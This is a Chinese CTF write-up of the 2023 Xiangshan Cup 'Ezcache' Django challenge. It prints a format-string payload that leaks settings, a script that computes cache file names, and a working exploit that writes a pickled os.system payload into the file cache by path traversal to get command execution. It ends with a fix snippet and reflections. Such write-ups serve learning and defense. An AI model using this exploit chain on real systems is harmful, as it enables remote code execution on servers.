[2023香山杯决赛]Ezcache

第一次的线下AWDP的复盘与总结

环境复现

题目docker:https://pan.baidu.com/s/1ZgNYC7FkTt7Oe_RQYSGrhQ 提取码: wiwn

构建 & 启动

docker build -t ezcache .
docker run -d -p 8000:8000 ezcache 

解题思路

题目有两个路由,/generate存在的问题有两个:格式化字符串信息泄露+任意文件写入

/index则是由cache_page装饰器修饰,结合题目名称ezcache,利用点也在就在其中

下面看cache_page做了个什么。这里它调用了decorator_from_middleware_with_args给index加了一个CacheMiddleware的中间件

跟进Django中间件的作用方式,在django.utils.decorators.make_middleware_decorator可以看到,它其实是调用了中间件类的一些方法来处理请求、响应和报错等等。

下面来看CacheMiddleware这个中间件都做了些什么。顾名思义,CacheMiddleware就是Django对缓存页面机制的一种实现,它继承的UpdateCacheMiddlewareFetchFromCacheMiddleware分别实现了处理请求的process_request和处理响应的process_response方法。

django.core.cache下断点调试CacheMiddleware的工作流程。

首先,在程序启动的时候会实例化django.core.cache.CacheHandler。通过_create_cache的调用,它会对服务器处理缓存的类进行加载。

这里选取的类则是由配置文件决定的

题目给出的是django.core.cache.backends.filebased.FileBasedCache

CACHES = {
    'default': {
        'BACKEND': 'django.core.cache.backends.filebased.FileBasedCache',
        'LOCATION': os.environ.get('cache_path'),
    }
}

而用来实例化FileBasedCache的location,则指的是缓存文件的保存的路径。根据配置文件,它是在环境变量中配置的。

最后这个实例化的BACKEND会被赋值给CacheMiddleware.cache

现在看下处理缓存的FileBasedCache里面有什么。点进去就可以看到熟悉的pickle反序列化

接下来就是如何利用,直接在FileBasedCache.get里面下断点。访问/index,在get_cache_key中会用_generate_cache_header_key计算出cache_key,然后调用FileBasedCache.get

FileBasedCache.get中,首先会用_key_to_file根据cache_key计算出文件名。

紧接着在_is_expired直接就会load这个文件。

到这里一个基本的思路就有了:

  1. 利用格式化字符串漏洞,读出环境变量中缓存文件的保存路径。
  2. 根据缓存文件名的计算逻辑,自己计算出文件名称。
  3. 任意文件写入,结合保存路径和文件名,将恶意类的序列化字符串写入缓存文件。
  4. 访问/index触发pickle.load(f)反序列化漏洞来命令执行。

解题流程

首先找到缓存文件的路径。比赛的时候输入了一大堆来拿到os模块,然后找环境变量。

{user.__init__.__globals__[total_ordering].__globals__[namedtuple].__globals__[_sys].__dict__[modules][django.contrib.staticfiles.finders].__dict__[os].__dict__[environ]}

但其实可以通过{user.__class__.__dict__}找到request.user所在的类后,通过django.contrib.auth.models.AnonymousUser这个属性来找setting模块,还可以让payload写的更简单。参考:

{user._groups.model._meta.default_apps.app_configs[auth].module.settings.CACHES}

找到缓存路径后,就是找计算文件名称。跟着调试一遍后就会发现,缓存文件的名称只与请求的URL有关。根据它的思路我们写出计算缓存文件名称的脚本:

import hashlib
import os


def _generate_cache_header_key(key_prefix, url):
    """Return a cache key for the header cache."""
    url = hashlib.md5(url.encode('ascii'))
    cache_key = 'views.decorators.cache.cache_header.%s.%s' % (
        key_prefix, url.hexdigest())
    return cache_key


def default_key_func(key, key_prefix, version):
    return '%s:%s:%s' % (key_prefix, version, key)


def _key_to_file(key, _dir):
    _dir = ''
    cache_suffix = '.djcache'
    key = default_key_func(key, '', '1')
    return os.path.join(_dir, ''.join(
        [hashlib.md5(key.encode()).hexdigest(), cache_suffix]))



url = 'http://127.0.0.1:8000/index'
key_prefix = ''
_dir = '/tmp/1234567/cache'
cache_key = _generate_cache_header_key(key_prefix, url)
cache_key = cache_key + '.en-us' + '.UTC'
path = _key_to_file(cache_key, _dir)
print(path)		# /tmp/1234567/cache/6f134a4214467b7ea4185c595222780e.djcache

有了路径后就可以向缓存写入序列化的恶意类,虽然不能出网,但是服务的static目录是可以下载的,将命令执行的结果保存其中即可。参考脚本如下(使用MultipartEncoder来传入序列化后的字节串):

import requests
import pickle
import os

from requests_toolbelt.multipart.encoder import MultipartEncoder


class genpoc(object):
    def __reduce__(self):
        s = "ls / >> /app/static/2"             # 要执行的命令
        return (os.system, (s,))


e = genpoc()
poc = pickle.dumps(e)

burp0_url = "http://127.0.0.1:8000/generate"
burp0_headers = {
    "Cache-Control": "max-age=0",
    "Upgrade-Insecure-Requests": "1",
    "Origin": "http://172.22.107.245:8000",
    "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
    "Accept-Encoding": "gzip, deflate, br",
    "Accept-Language": "en,zh-CN;q=0.9,zh;q=0.8",
    "Connection": "close"
}
data = poc
# 上一步的到的文件路径
filename = "../../tmp/1234567/cache/6f134a4214467b7ea4185c595222780e.djcache"

# 使用 MultipartEncoder 创建多部分表单数据
multipart_data = MultipartEncoder(
    fields={
        'intro': 'here is your introduction',
        'file': ('filename', poc, 'application/octet-stream'),
        'filename': filename
    }
)

burp0_headers['Content-Type'] = multipart_data.content_type

requests.post(burp0_url, headers=burp0_headers, data=multipart_data)
requests.get("http://127.0.0.1:8000/index")     # 访问index触发序列化

fix

据说fix掉格式化字符串就可以了,路径穿越修了过不了check。参考:

if "user" in intro.lower() or "{" in intro.lower() or "}" in intro.lower():
    return HttpResponse("can't be as admin")

总结

虽然就结果而言这次web确实有点难度,三道题的解题人数分别是3、3、1。但一分也没拿的我,不仅一题未解,连fix也fix不了,多少有点离谱了😢

首先就是这个目录结构,做了一年的Flask,拿道这道题理所应当地以为是

/app
├── templates
│   └── index.html
├── __init__.py
├── models.py
├── settings.py
├── urls.py
├── views.py
└── wsgi.py

但这道Django的目录结构其实是

/app
├── __init__.py
├── app
│   ├── __init__.py
│   ├── models.py
│   ├── settings.py
│   ├── templates
│   │   └── index.html
│   ├── urls.py
│   ├── views.py
│   └── wsgi.py
├── db.sqlite3
├── manage.py
└── static

所以update.sh我写成了

mv -f -b views.py /app/views.py
chmod +x /app/views.py

甚至连文件位置都没弄明白,而且看了WP才发现我第一次修改的还是对的😭

说回这道题目,其实现在看下来好像也不是很难。复现这道题的时候,其实就瞟了一下wp知道思路是cache_page+pickle反序列化,然后就自己调了,而且比赛的时候我也知道是cache_page的问题,还把这个装饰器删掉来fix。

所以这道题难在哪呢?难就难在怎么在断网的环境下调通这个程序。题目给的源码结构是

因为断网环境下无法安装依赖,所以直接把它全给你了,但我完全不知道这东西怎么用......要在本地编译器调通,需要设置环境变量PYTHONPATH值为dist-packages目录的位置,像这样

/xxx/xxx/ezcache/dist-packages:$PYTHONPATH

Pycharm可以在启动选项里面设置。此外,这道题还需要配置个cache_path的环境变量

之后在setting.py中修改相应的路径,以manage.py作为程序入口,然后可以跑通了。

不过还需要知道Django的启动参数是runserver 0.0.0.0:8000,反正这次线下怎么都是G🙃